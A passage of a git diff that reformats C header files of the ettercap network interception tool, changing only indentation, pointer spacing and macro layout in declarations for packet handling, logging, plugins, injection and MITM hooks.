+#define pntol(x) ntohl(*(u_int32 *)(x)) + +/* return little endian */ +#define htons_inv(x) (u_int16)x + +#define ORDER_ADD_SHORT(a, b) a = htons(ntohs(a) + (int16)b) +#define ORDER_ADD_LONG(a, b) a = htonl(ntohl(a) + (int32)b) #endif - - + #define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) - #endif - /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_inject.h b/include/ec_inject.h index 44afe1da1..0603c43cd 100644 --- a/include/ec_inject.h +++ b/include/ec_inject.h @@ -10,25 +10,27 @@ #define LENGTH *len #define LENGTH_PTR len -#define SESSION_PASSTHRU(x,y) do{ \ - x->prev_session = y->session; \ - y->session = x; \ -} while(0) - -#define SESSION_CLEAR(x) (x->session=NULL) - -#define EXECUTE_INJECTOR(x,y) do{ \ - FUNC_INJECTOR_PTR(prev_injector); \ - prev_injector = get_injector(x, y); \ - if (prev_injector == NULL) \ - return -E_NOTFOUND; \ - if (prev_injector(PACKET, LENGTH_PTR) != E_SUCCESS) \ - return -E_NOTHANDLED; \ -} while(0) +#define SESSION_PASSTHRU(x, y) \ + do { \ + x->prev_session = y->session; \ + y->session = x; \ + } while (0) + +#define SESSION_CLEAR(x) (x->session = NULL) + +#define EXECUTE_INJECTOR(x, y) \ + do { \ + FUNC_INJECTOR_PTR(prev_injector); \ + prev_injector = get_injector(x, y); \ + if (prev_injector == NULL) \ + return -E_NOTFOUND; \ + if (prev_injector(PACKET, LENGTH_PTR) != E_SUCCESS) \ + return -E_NOTHANDLED; \ + } while (0) EC_API_EXTERN int inject_buffer(struct packet_object *po); EC_API_EXTERN void add_injector(u_int8 level, u_int32 type, FUNC_INJECTOR_PTR(injector)); -EC_API_EXTERN void * get_injector(u_int8 level, u_int32 type); +EC_API_EXTERN void *get_injector(u_int8 level, u_int32 type); EC_API_EXTERN void inject_split_data(struct packet_object *po); EC_API_EXTERN int user_kill(struct conn_object *co); @@ -45,4 +47,3 @@ EC_API_EXTERN int user_inject(u_char *buf, size_t size, struct conn_object *co, /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_interfaces.h b/include/ec_interfaces.h index ed7b55a62..24b4eb05a 100644 --- a/include/ec_interfaces.h +++ b/include/ec_interfaces.h @@ -45,4 +45,3 @@ EC_API_EXTERN void select_gtk_interface(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_log.h b/include/ec_log.h index 7eb9d3f55..85cbc3580 100644 --- a/include/ec_log.h +++ b/include/ec_log.h @@ -10,16 +10,14 @@ #include #include - struct log_fd { int type; - #define LOG_COMPRESSED 1 - #define LOG_UNCOMPRESSED 0 +#define LOG_COMPRESSED 1 +#define LOG_UNCOMPRESSED 0 gzFile cfd; int fd; }; - /******************************************* * NOTE: all the int variable are stored * * in network order in the logfile * @@ -29,18 +27,18 @@ struct log_fd { *******************************************/ /* - * at the beginning of the file there + * at the beginning of the file there * are the global information */ struct log_global_header { /* a magic number for file identification */ u_int16 magic; - #define EC_LOG_MAGIC 0xe77e - /* - * offset to the first header in the log file - * this assure that we can change this header - * and the etterlog parser will be able to +#define EC_LOG_MAGIC 0xe77e + /* + * offset to the first header in the log file + * this assure that we can change this header + * and the etterlog parser will be able to * parse also files created by older version */ u_int16 first_header; @@ -52,8 +50,7 @@ struct log_global_header { u_int32 type; }; - -/* +/* * every packet in the log file has this format: * [header][data][header][data]... */ @@ -62,25 +59,24 @@ struct log_global_header { struct log_header_packet { struct timeval tv; - + u_int8 L2_src[MEDIA_ADDR_LEN]; u_int8 L2_dst[MEDIA_ADDR_LEN]; struct ip_addr L3_src; struct ip_addr L3_dst; - + u_int8 L4_proto; u_int8 L4_flags; u_int16 L4_src; u_int16 L4_dst; - + u_int32 len; }; - -/* - * this is for host infos - * +/* + * this is for host infos + * * the format will be: * * [header][user][pass][info][banner][header][user][pass].... @@ -89,11 +85,11 @@ struct log_header_packet { * of the successive banner, user, pass and info fields. */ struct log_header_info { - + u_int8 L2_addr[MEDIA_ADDR_LEN]; - + struct ip_addr L3_addr; - + u_int16 L4_addr; u_int8 L4_proto; @@ -101,9 +97,9 @@ struct log_header_info { u_int8 distance; u_int8 type; - #define LOG_ARP_HOST (1<<7) - - u_char fingerprint[FINGER_LEN+1]; +#define LOG_ARP_HOST (1 << 7) + + u_char fingerprint[FINGER_LEN + 1]; /* account information */ u_int8 failed; @@ -117,7 +113,6 @@ struct log_header_info { } var; }; - EC_API_EXTERN int set_loglevel(int level, char *filename); #define LOG_STOP 0 #define LOG_INFO 1 @@ -137,10 +132,8 @@ EC_API_EXTERN void log_write_packet(struct log_fd *fd, struct packet_object *po) EC_API_EXTERN void log_write_info(struct log_fd *fd, struct packet_object *po); EC_API_EXTERN void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po); - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_lua.h b/include/ec_lua.h index 52166a567..d3a54acb3 100644 --- a/include/ec_lua.h +++ b/include/ec_lua.h @@ -6,13 +6,13 @@ EC_API_EXTERN int ec_lua_init(); EC_API_EXTERN int ec_lua_fini(); -EC_API_EXTERN int ec_lua_cli_add_script(char * script); -EC_API_EXTERN int ec_lua_cli_add_args(char * args); -EC_API_EXTERN void ec_lua_print_info(FILE* debug_file); -EC_API_EXTERN void ec_lua_print_version(FILE* debug_file); -int ec_lua_dispatch_hooked_packet(int point, struct packet_object * po); -void ec_lua_print_stack(FILE * io); +EC_API_EXTERN int ec_lua_cli_add_script(char *script); +EC_API_EXTERN int ec_lua_cli_add_args(char *args); +EC_API_EXTERN void ec_lua_print_info(FILE *debug_file); +EC_API_EXTERN void ec_lua_print_version(FILE *debug_file); +int ec_lua_dispatch_hooked_packet(int point, struct packet_object *po); +void ec_lua_print_stack(FILE *io); -#define LUA_FATAL_ERROR(x, ...) do { fprintf(stderr, x, ## __VA_ARGS__ ); exit(-1);} while(0) +#define LUA_FATAL_ERROR(x, ...) do { fprintf(stderr, x, ## __VA_ARGS__); exit(-1); } while (0) #endif diff --git a/include/ec_manuf.h b/include/ec_manuf.h index a0ff36f7e..e0adab4d4 100644 --- a/include/ec_manuf.h +++ b/include/ec_manuf.h @@ -2,11 +2,10 @@ #define ETTERCAP_MANUF_H EC_API_EXTERN int manuf_init(void); -EC_API_EXTERN char * manuf_search(const char *m); +EC_API_EXTERN char *manuf_search(const char *m); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_mitm.h b/include/ec_mitm.h index f42000738..b9132d28b 100644 --- a/include/ec_mitm.h +++ b/include/ec_mitm.h @@ -7,7 +7,6 @@ struct mitm_method { void (*stop)(void); }; - /* exported functions */ EC_API_EXTERN void mitm_add(struct mitm_method *mm); @@ -17,7 +16,6 @@ EC_API_EXTERN void mitm_stop(void); EC_API_EXTERN void only_mitm(void); EC_API_EXTERN int is_mitm_active(char *name); - /* an ugly hack to make accessible the arp poisoning lists to plugins */ LIST_HEAD(hosts_group, hosts_list); @@ -30,4 +28,3 @@ EC_API_EXTERN struct hosts_group arp_group_two; /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_network.h b/include/ec_network.h index 80fdb9d13..01cdb3209 100644 --- a/include/ec_network.h +++ b/include/ec_network.h @@ -8,30 +8,29 @@ /* per interface data */ struct iface_env { - char* name; + char *name; struct ip_addr ip; struct ip_addr network; struct ip_addr netmask; u_int8 mac[MEDIA_ADDR_LEN]; - LIST_HEAD(,net_list) ip6_list; + LIST_HEAD(, net_list) ip6_list; int dlt; u_int16 mtu; - u_int8 is_ready :1; - u_int8 is_live :1; - u_int8 has_ipv4 :1; - u_int8 has_ipv6 :1; - u_int8 unoffensive:1; - - pcap_t* pcap; - libnet_t* lnet; + u_int8 is_ready : 1; + u_int8 is_live : 1; + u_int8 has_ipv4 : 1; + u_int8 has_ipv6 : 1; + u_int8 unoffensive : 1; + + pcap_t *pcap; + libnet_t *lnet; }; - EC_API_EXTERN void network_init(); -EC_API_EXTERN void secondary_sources_foreach(void (*callback)(struct iface_env*)); -EC_API_EXTERN struct iface_env* iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]); +EC_API_EXTERN void secondary_sources_foreach(void (*callback)(struct iface_env *)); +EC_API_EXTERN struct iface_env *iface_by_mac(u_int8 mac[MEDIA_ADDR_LEN]); #endif diff --git a/include/ec_os_mingw.h b/include/ec_os_mingw.h index a51d0aabe..1c86f165e 100644 --- a/include/ec_os_mingw.h +++ b/include/ec_os_mingw.h @@ -8,58 +8,58 @@ #include /* u_char etc. */ #if !defined(HAVE_GETUID) - #define getuid() (0) +#define getuid() (0) #endif #if !defined(HAVE_GETGID) - #define getgid() (0) +#define getgid() (0) #endif #if !defined(HAVE_GETEUID) - #define geteuid() (0) +#define geteuid() (0) #endif #if !defined(HAVE_GETEUID) - #define getegid() (0) +#define getegid() (0) #endif #if !defined(HAVE_SETUID) - #define setuid(x) (0) +#define setuid(x) (0) #endif #if !defined(HAVE_SETGID) - #define setgid(x) (0) +#define setgid(x) (0) #endif #if !defined(HAVE_RANDOM) - #define random() rand() +#define random() rand() #endif #if !defined(HAVE_SRANDOM) - #define srandom(s) srand(s) +#define srandom(s) srand(s) #endif #if !defined(_TIMEVAL_DEFINED) && !defined(HAVE_STRUCT_TIMEVAL) - #define _TIMEVAL_DEFINED - struct timeval { - long tv_sec; - long tv_usec; - }; +#define _TIMEVAL_DEFINED +struct timeval { + long tv_sec; + long tv_usec; +}; #endif #if !defined(HAVE_STRUCT_TIMEZONE) - #define HAVE_STRUCT_TIMEZONE - struct timezone { - int tz_minuteswest; /* minutes west of Greenwich */ - int tz_dsttime; /* type of dst correction */ - }; +#define HAVE_STRUCT_TIMEZONE +struct timezone { + int tz_minuteswest; /* minutes west of Greenwich */ + int tz_dsttime; /* type of dst correction */ +}; #endif #undef _U_ #if defined(__GNUC__) - #define _U_ __attribute__((unused)) +#define _U_ __attribute__((unused)) #else - #define _U_ +#define _U_ #endif #ifndef EINPROGRESS @@ -85,19 +85,19 @@ #undef EAGAIN #define EAGAIN WSAEWOULDBLOCK -#define gettimeofday(tv,tz) ec_win_gettimeofday (tv, tz) -#define strsignal(signo) ec_win_strsignal (signo) -#define poll(p,n,t) ec_win_poll (p,n,t) -#define dn_expand(m,e,c,ex,l) ec_win_dn_expand (m, e, c, ex, l) -#define dn_comp(e,c,l,d,ld) ec_win_dn_comp(e,c,l,d,ld) +#define gettimeofday(tv, tz) ec_win_gettimeofday(tv, tz) +#define strsignal(signo) ec_win_strsignal(signo) +#define poll(p, n, t) ec_win_poll(p, n, t) +#define dn_expand(m, e, c, ex, l) ec_win_dn_expand(m, e, c, ex, l) +#define dn_comp(e, c, l, d, ld) ec_win_dn_comp(e, c, l, d, ld) -EC_API_EXTERN int ec_win_dn_expand (const u_char *msg, const u_char *eom_orig, - const u_char *comp_dn, char *exp_dn, int length); -EC_API_EXTERN int ec_win_dn_comp (const char *exp_dn, u_char *comp_dn, int length, - u_char **dnptrs, u_char **lastdnptr); +EC_API_EXTERN int ec_win_dn_expand(const u_char *msg, const u_char *eom_orig, + const u_char *comp_dn, char *exp_dn, int length); +EC_API_EXTERN int ec_win_dn_comp(const char *exp_dn, u_char *comp_dn, int length, + u_char **dnptrs, u_char **lastdnptr); -EC_API_EXTERN int ec_win_gettimeofday (struct timeval *tv, struct timezone *tz); -EC_API_EXTERN const char *ec_win_strsignal (int signo); +EC_API_EXTERN int ec_win_gettimeofday(struct timeval *tv, struct timezone *tz); +EC_API_EXTERN const char *ec_win_strsignal(int signo); /* poll() emulation */ @@ -109,92 +109,91 @@ EC_API_EXTERN const char *ec_win_strsignal (int signo); #define POLLNVAL 0x0020 /* not used */ struct pollfd { - int fd; - int events; /* in param: what to poll for */ - int revents; /* out param: what events occured */ - }; + int fd; + int events; /* in param: what to poll for */ + int revents; /* out param: what events occured */ +}; #undef HAVE_POLL #define HAVE_POLL 1 -EC_API_EXTERN int ec_win_poll (struct pollfd *p, int num, int timeout); +EC_API_EXTERN int ec_win_poll(struct pollfd *p, int num, int timeout); /* User/program dir */ -EC_API_EXTERN const char *ec_win_get_user_dir (void); -EC_API_EXTERN const char *ec_win_get_ec_dir (void); +EC_API_EXTERN const char *ec_win_get_user_dir(void); +EC_API_EXTERN const char *ec_win_get_ec_dir(void); /* This is a stupid hack. How can we on compile time know the install location on a * non-Unix system? */ #ifndef INSTALL_PREFIX - #define INSTALL_PREFIX ec_win_get_ec_dir() +#define INSTALL_PREFIX ec_win_get_ec_dir() #endif #ifndef INSTALL_EXECPREFIX - #define INSTALL_EXECPREFIX ec_win_get_ec_dir() +#define INSTALL_EXECPREFIX ec_win_get_ec_dir() #endif - + #ifndef INSTALL_SYSCONFDIR - #define INSTALL_SYSCONFDIR ec_win_get_ec_dir() +#define INSTALL_SYSCONFDIR ec_win_get_ec_dir() #endif #ifndef INSTALL_BINDIR - #define INSTALL_BINDIR ec_win_get_ec_dir() +#define INSTALL_BINDIR ec_win_get_ec_dir() #endif #ifndef INSTALL_LIBDIR - #define INSTALL_LIBDIR "/lib" /* this cannot be a function (sigh) */ +#define INSTALL_LIBDIR "/lib" /* this cannot be a function (sigh) */ #endif #ifndef INSTALL_DATADIR - #define INSTALL_DATADIR "/share" /* this cannot be a function (sigh) */ +#define INSTALL_DATADIR "/share" /* this cannot be a function (sigh) */ #endif - + /* dlopen() emulation (not exported) */ #if !defined(HAVE_DLOPEN) - #define RTLD_NOW 0 /* No importance */ - #define RTLD_LOCAL 0 /* No importance */ - #define RTLD_NOW 0 - #define PLUGIN_EXT "*.dll" - - #define dlopen(dll,flg) ec_win_dlopen (dll, flg) - #define lt_dlopen(dll) ec_win_dlopen (dll, 0) - #define lt_dlopenext(dll) ec_win_dlopen (dll, 0) - #define dlsym(hnd,func) ec_win_dlsym (hnd, func) - #define lt_dlsym(hnd,func) ec_win_dlsym (hnd, func) - #define dlclose(hnd) ec_win_dlclose (hnd) - #define lt_dlclose(hnd) ec_win_dlclose (hnd) - #define dlerror() ec_win_dlerror() - #define lt_dlerror() ec_win_dlerror() - #define lt_dlinit() (0) - #define lt_dlexit() (0) - - EC_API_EXTERN void *ec_win_dlopen (const char *dll_name, int flags _U_); - EC_API_EXTERN void *ec_win_dlsym (const void *dll_handle, const char *func_name); - EC_API_EXTERN void ec_win_dlclose (const void *dll_handle); - EC_API_EXTERN const char *ec_win_dlerror (void); +#define RTLD_NOW 0 /* No importance */ +#define RTLD_LOCAL 0 /* No importance */ +#define RTLD_NOW 0 +#define PLUGIN_EXT "*.dll" + +#define dlopen(dll, flg) ec_win_dlopen(dll, flg) +#define lt_dlopen(dll) ec_win_dlopen(dll, 0) +#define lt_dlopenext(dll) ec_win_dlopen(dll, 0) +#define dlsym(hnd, func) ec_win_dlsym(hnd, func) +#define lt_dlsym(hnd, func) ec_win_dlsym(hnd, func) +#define dlclose(hnd) ec_win_dlclose(hnd) +#define lt_dlclose(hnd) ec_win_dlclose(hnd) +#define dlerror() ec_win_dlerror() +#define lt_dlerror() ec_win_dlerror() +#define lt_dlinit() (0) +#define lt_dlexit() (0) + +EC_API_EXTERN void *ec_win_dlopen(const char *dll_name, int flags _U_); +EC_API_EXTERN void *ec_win_dlsym(const void *dll_handle, const char *func_name); +EC_API_EXTERN void ec_win_dlclose(const void *dll_handle); +EC_API_EXTERN const char *ec_win_dlerror(void); #endif /* * Unix process emulation */ #if !defined(HAVE_FORK) - #define fork() ec_win_fork() +#define fork() ec_win_fork() - EC_API_EXTERN int ec_win_fork(void); +EC_API_EXTERN int ec_win_fork(void); #endif #if !defined(HAVE_WAIT) - #define wait(st) ec_win_wait(st) - #define WEXITSTATUS(w) 1 - #define WIFEXITED(w) 1 +#define wait(st) ec_win_wait(st) +#define WEXITSTATUS(w) 1 +#define WIFEXITED(w) 1 - EC_API_EXTERN int ec_win_wait (int *status); +EC_API_EXTERN int ec_win_wait(int *status); #endif - - + /* Missing stuff for ec_resolv.h / ec_win_dnexpand() */ #ifndef INT16SZ @@ -206,42 +205,46 @@ EC_API_EXTERN const char *ec_win_get_ec_dir (void); #endif #undef GETSHORT -#define GETSHORT(s, cp) do { \ - register u_char *t_cp = (u_char *)(cp); \ - (s) = ((u_short)t_cp[0] << 8) \ - | ((u_short)t_cp[1]); \ - (cp) += INT16SZ; \ - } while (0) +#define GETSHORT(s, cp) \ + do { \ + register u_char *t_cp = (u_char *)(cp); \ + (s) = ((u_short)t_cp[0] << 8) \ + | ((u_short)t_cp[1]); \ + (cp) += INT16SZ; \ + } while (0) #undef GETLONG -#define GETLONG(l, cp) do { \ - register u_char *t_cp = (u_char *)(cp); \ - (l) = ((u_long)t_cp[0] << 24) \ - | ((u_long)t_cp[1] << 16) \ - | ((u_long)t_cp[2] << 8) \ - | ((u_long)t_cp[3]); \ - (cp) += INT32SZ; \ - } while (0) +#define GETLONG(l, cp) \ + do { \ + register u_char *t_cp = (u_char *)(cp); \ + (l) = ((u_long)t_cp[0] << 24) \ + | ((u_long)t_cp[1] << 16) \ + | ((u_long)t_cp[2] << 8) \ + | ((u_long)t_cp[3]); \ + (cp) += INT32SZ; \ + } while (0) #undef PUTSHORT -#define PUTSHORT(s, cp) do { \ - register u_short t_s = (u_short)(s); \ - register u_char *t_cp = (u_char *)(cp); \ - *t_cp++ = t_s >> 8; \ - *t_cp = t_s; \ - (cp) += INT16SZ; \ - } while (0) +#define PUTSHORT(s, cp) \ + do { \ + register u_short t_s = (u_short)(s); \ + register u_char *t_cp = (u_char *)(cp); \ + *t_cp ++ = t_s >> 8; \ + *t_cp = t_s; \ + (cp) += INT16SZ; \ + } while (0) #undef PUTLONG -#define PUTLONG(l, cp) do { \ - register u_long t_l = (u_long)(l); \ - register u_char *t_cp = (u_char *)(cp); \ - *t_cp++ = t_l >> 24; \ - *t_cp++ = t_l >> 16; \ - *t_cp++ = t_l >> 8; \ - *t_cp = t_l; \ - (cp) += INT32SZ; \ - } while (0) +#define PUTLONG(l, cp) \ + do { \ + register u_long t_l = (u_long)(l); \ + register u_char *t_cp = (u_char *)(cp); \ + *t_cp ++ = t_l >> 24; \ + *t_cp ++ = t_l >> 16; \ + *t_cp ++ = t_l >> 8; \ + *t_cp = t_l; \ + (cp) += INT32SZ; \ + } while (0) /* * Misc. stuff @@ -249,5 +252,5 @@ EC_API_EXTERN const char *ec_win_get_ec_dir (void); #define strerror ec_win_strerror EC_API_EXTERN char *ec_win_strerror(int err); EC_API_EXTERN int ec_win_pcap_stop(const void *pcap_handle); - + #endif /* EC_WIN_MISC_H */ diff --git a/include/ec_packet.h b/include/ec_packet.h index e49f2b229..4546dc12f 100644 --- a/include/ec_packet.h +++ b/include/ec_packet.h @@ -9,24 +9,24 @@ #include struct packet_object { - + /* timestamp of the packet */ struct timeval ts; - + struct L2 { u_int8 proto; - u_char * header; + u_char *header; u_int len; u_int8 src[MEDIA_ADDR_LEN]; u_int8 dst[MEDIA_ADDR_LEN]; u_int8 flags; - #define PO_L2_FCS 0x01 +#define PO_L2_FCS 0x01 } L2; - + struct L3 { u_int16 proto; - u_char * header; - u_char * options; + u_char *header; + u_char *options; u_int len; size_t payload_len; size_t optlen; @@ -34,12 +34,12 @@ struct packet_object { struct ip_addr dst; u_int8 ttl; } L3; - + struct L4 { u_int8 proto; u_int8 flags; - u_char * header; - u_char * options; + u_char *header; + u_char *options; u_int len; size_t optlen; u_int16 src; @@ -47,72 +47,69 @@ struct packet_object { u_int32 seq; u_int32 ack; } L4; - + struct data { - u_char * data; + u_char *data; u_int len; - /* + /* * buffer containing the data to be displayed. * some dissector decripts the traffic, but the packet must be forwarded as - * is, so the decripted data must be placed in a different buffer. + * is, so the decripted data must be placed in a different buffer. * this is that buffer and it is malloced by tcp or udp dissector. */ size_t disp_len; - u_char * disp_data; + u_char *disp_data; /* for modified packet this is the delta for the length */ - int delta; + int delta; size_t inject_len; /* len of the injection */ u_char *inject; /* the buffer used for injection */ - } DATA; u_int fwd_len; /* length of the packet to be forwarded */ - u_char * fwd_packet; /* the pointer to the buffer to be forwarded */ - + u_char *fwd_packet; /* the pointer to the buffer to be forwarded */ + u_int len; /* total length of the packet */ - u_char * packet; /* the buffer containing the real packet */ + u_char *packet; /* the buffer containing the real packet */ /* Trace current session for injector chain */ - struct ec_session *session; - - + struct ec_session *session; + u_int16 flags; /* flags relative to the packet */ - #define PO_IGNORE ((u_int16)(1)) /* this packet should not be processed (e.g. sniffing TARGETS didn't match it) */ - #define PO_DONT_DISSECT ((u_int16)(1<<1)) /* this packet should not be processed by dissector (used during the arp scan) */ - #define PO_FORWARDABLE ((u_int16)(1<<2)) /* the packet has our MAC address, by the IP is not ours */ - #define PO_FORWARDED ((u_int16)(1<<3)) /* the packet was forwarded by us */ - - #define PO_FROMIFACE ((u_int16)(1<<4)) /* this packet comes from the primary interface */ - #define PO_FROMBRIDGE ((u_int16)(1<<5)) /* this packet comes form the bridged interface */ - - #define PO_MODIFIED ((u_int16)(1<<6)) /* it needs checksum recalculation before forwarding */ - #define PO_DROPPED ((u_int16)(1<<7)) /* the packet has to be dropped */ - - #define PO_DUP ((u_int16)(1<<8)) /* the packet is a duplicate we have to free the buffer on destroy */ - #define PO_FORGED ((u_int16)(1<<9)) /* the packet is created by ourselves */ - - #define PO_EOF ((u_int16)(1<<10)) /* we are reading from a file and this is the last packet */ - - #define PO_FROMSSL ((u_int16)(1<<11)) /* the packet is coming from a ssl wrapper */ - - #define PO_SSLSTART ((u_int16)(1<<12)) /* ssl wrapper has to enter SSL state */ - - /* - * here are stored the user and pass collected by dissectors +#define PO_IGNORE ((u_int16)(1)) /* this packet should not be processed (e.g. sniffing TARGETS didn't match it) */ +#define PO_DONT_DISSECT ((u_int16)(1 << 1)) /* this packet should not be processed by dissector (used during the arp scan) */ +#define PO_FORWARDABLE ((u_int16)(1 << 2)) /* the packet has our MAC address, by the IP is not ours */ +#define PO_FORWARDED ((u_int16)(1 << 3)) /* the packet was forwarded by us */ + +#define PO_FROMIFACE ((u_int16)(1 << 4)) /* this packet comes from the primary interface */ +#define PO_FROMBRIDGE ((u_int16)(1 << 5)) /* this packet comes form the bridged interface */ + +#define PO_MODIFIED ((u_int16)(1 << 6)) /* it needs checksum recalculation before forwarding */ +#define PO_DROPPED ((u_int16)(1 << 7)) /* the packet has to be dropped */ + +#define PO_DUP ((u_int16)(1 << 8)) /* the packet is a duplicate we have to free the buffer on destroy */ +#define PO_FORGED ((u_int16)(1 << 9)) /* the packet is created by ourselves */ + +#define PO_EOF ((u_int16)(1 << 10)) /* we are reading from a file and this is the last packet */ + +#define PO_FROMSSL ((u_int16)(1 << 11)) /* the packet is coming from a ssl wrapper */ + +#define PO_SSLSTART ((u_int16)(1 << 12)) /* ssl wrapper has to enter SSL state */ + + /* + * here are stored the user and pass collected by dissectors * the "char *" are malloc(ed) by dissectors */ struct dissector_info DISSECTOR; - + /* the struct for passive identification */ struct passive_info PASSIVE; - }; -EC_API_EXTERN struct packet_object* packet_allocate_object(u_char *data, u_int len); -EC_API_EXTERN int packet_create_object(struct packet_object *po, u_char * buf, u_int len); +EC_API_EXTERN struct packet_object *packet_allocate_object(u_char *data, u_int len); +EC_API_EXTERN int packet_create_object(struct packet_object *po, u_char *buf, u_int len); EC_API_EXTERN int packet_destroy_object(struct packet_object *po); EC_API_EXTERN int packet_disp_data(struct packet_object *po, u_char *buf, u_int len); -EC_API_EXTERN struct packet_object * packet_dup(struct packet_object *po, u_char flag); +EC_API_EXTERN struct packet_object *packet_dup(struct packet_object *po, u_char flag); /* Do we want to duplicate data? */ #define PO_DUP_NONE 0 @@ -123,4 +120,3 @@ EC_API_EXTERN struct packet_object * packet_dup(struct packet_object *po, u_char /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_parser.h b/include/ec_parser.h index 11d5cc8b8..a0ec62b22 100644 --- a/include/ec_parser.h +++ b/include/ec_parser.h @@ -3,11 +3,8 @@ EC_API_EXTERN void parse_options(int argc, char **argv); - - #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_passive.h b/include/ec_passive.h index 96bbda115..87e2dc9a6 100644 --- a/include/ec_passive.h +++ b/include/ec_passive.h @@ -2,7 +2,7 @@ #define ETTERCAP_PASSIVE_H EC_API_EXTERN int is_open_port(u_int8 proto, u_int16 port, u_int8 flags); -EC_API_EXTERN void print_host(struct host_profile *h); +EC_API_EXTERN void print_host(struct host_profile *h); EC_API_EXTERN void print_host_xml(struct host_profile *h); #endif @@ -10,4 +10,3 @@ EC_API_EXTERN void print_host_xml(struct host_profile *h); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_plugins.h b/include/ec_plugins.h index c90ad248c..217aa0a32 100644 --- a/include/ec_plugins.h +++ b/include/ec_plugins.h @@ -6,8 +6,7 @@ #include #include -struct plugin_ops -{ +struct plugin_ops { char *ettercap_version; /* ettercap version MUST be the global EC_VERSION */ char *name; /* the name of the plugin */ char *info; /* a short description of the plugin */ @@ -16,17 +15,16 @@ struct plugin_ops int (*fini)(void *); /* deactivation function */ }; -struct plugin_list -{ +struct plugin_list { char *name; bool exists; LIST_ENTRY(plugin_list) next; }; #ifdef OS_WINDOWS - #define PLUGIN_PATTERN "ec_*.dll" +#define PLUGIN_PATTERN "ec_*.dll" #else - #define PLUGIN_PATTERN "ec_*.so" +#define PLUGIN_PATTERN "ec_*.so" #endif EC_API_EXTERN void plugin_load_all(void); @@ -50,22 +48,21 @@ EC_API_EXTERN int plugin_kill_thread(char *name, char *thread); EC_API_EXTERN void plugin_list(void); EC_API_EXTERN void free_plugin_list(struct plugin_list_t plugins); -#define PLUGIN_LOCK(x) \ - do{ \ - if (pthread_mutex_trylock(&x)) { \ - ec_thread_exit(); \ - return NULL; \ - } \ - } while(0) +#define PLUGIN_LOCK(x) \ + do { \ + if (pthread_mutex_trylock(&x)) { \ + ec_thread_exit(); \ + return NULL; \ + } \ + } while (0) -#define PLUGIN_UNLOCK(x) \ - do{ \ - pthread_mutex_unlock(&x); \ - } while(0) +#define PLUGIN_UNLOCK(x) \ + do { \ + pthread_mutex_unlock(&x); \ + } while (0) -#endif +#endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_poll.h b/include/ec_poll.h index 0ef6788d1..08cf9cc6d 100644 --- a/include/ec_poll.h +++ b/include/ec_poll.h @@ -10,4 +10,3 @@ EC_API_EXTERN int ec_poll_buffer(char *buf); /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_profiles.h b/include/ec_profiles.h index 7f0a73273..5a83f29d9 100644 --- a/include/ec_profiles.h +++ b/include/ec_profiles.h @@ -16,7 +16,6 @@ struct dissector_info { u_int16 advertised_port; }; - /* the list of users for each port */ struct active_user { char *user; @@ -31,39 +30,38 @@ struct active_user { struct open_port { u_int16 L4_addr; - u_int8 L4_proto; + u_int8 L4_proto; /* the service banner */ char *banner; - + /* the list of users */ LIST_HEAD(, active_user) users_list_head; - + LIST_ENTRY(open_port) next; }; - /* this contains all the info related to an host */ struct host_profile { - + u_int8 L2_addr[MEDIA_ADDR_LEN]; struct ip_addr L3_addr; char hostname[MAX_HOSTNAME_LEN]; - char* os; + char *os; /* the list of open ports */ LIST_HEAD(, open_port) open_ports_head; - + /* distance in hop (TTL) */ u_int8 distance; /* local or not ? */ u_int8 type; /* OS fingerprint */ - u_char fingerprint[FINGER_LEN+1]; + u_char fingerprint[FINGER_LEN + 1]; TAILQ_ENTRY(host_profile) next; }; @@ -79,11 +77,10 @@ EC_API_EXTERN int profile_dump_to_file(char *filename); struct packet_object; EC_API_EXTERN void profile_parse(struct packet_object *po); -EC_API_EXTERN void * profile_print(int mode, void *list, char **desc, size_t len); +EC_API_EXTERN void *profile_print(int mode, void *list, char **desc, size_t len); #endif /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_proto.h b/include/ec_proto.h index fdd1bb334..47c4ef740 100644 --- a/include/ec_proto.h +++ b/include/ec_proto.h @@ -64,7 +64,6 @@ enum { LO6_TYPE_NO = 0x3b, /* No Next Header */ }; - /* TCP flags */ enum { TH_FIN = 0x01, @@ -95,7 +94,7 @@ enum { ICMP6_PKT_TOO_BIG = 2, ICMP6_TIME_EXCEEDED = 3, ICMP6_BAD_PARAM = 4, - + /* Info */ ICMP6_ECHO = 128, ICMP6_ECHOREPLY = 129, @@ -132,4 +131,3 @@ enum { /* EOF */ // vim:ts=3:expandtab - diff --git a/include/ec_queue.h b/include/ec_queue.h index 7fa43f018..00f460040 100644 --- a/include/ec_queue.h +++ b/include/ec_queue.h @@ -1,8 +1,8 @@ -/* - * +/* + * * added the _SAFE functions from: - * $FreeBSD: queue.h,v 1.56 2003/08/14 14:49:26 kan Exp $ + * $FreeBSD: queue.h,v 1.56 2003/08/14 14:49:26 kan Exp $ * * the rest is copyrighted by: */ @@ -48,15 +48,15 @@ /* Needed because SLIST_HEAD is defined in too. */ #if defined(OS_WINDOWS) - #if !defined(_WINNT_H) - #error Include before - #endif - /* */ - #undef SLIST_ENTRY +#if !defined(_WINNT_H) +#error Include before +#endif +/* */ +#undef SLIST_ENTRY #endif /* - * This file defines five types of data structures: singly-linked lists, + * This file defines five types of data structures: singly-linked lists, * lists, simple queues, tail queues, and circular queues. * * @@ -97,19 +97,19 @@ /* * Singly-linked List definitions. */ -#define SLIST_HEAD(name, type) \ -struct name { \ - struct type *slh_first; /* first element */ \ -} - -#define SLIST_HEAD_INITIALIZER(head) \ - { NULL } - -#define SLIST_ENTRY(type) \ -struct { \ - struct type *sle_next; /* next element */ \ -} - +#define SLIST_HEAD(name, type) \ + struct name { \ + struct type *slh_first; /* first element */ \ + } + +#define SLIST_HEAD_INITIALIZER(head) \ + { NULL } + +#define SLIST_ENTRY(type) \ + struct { \ + struct type *sle_next; /* next element */ \ + } + /* * 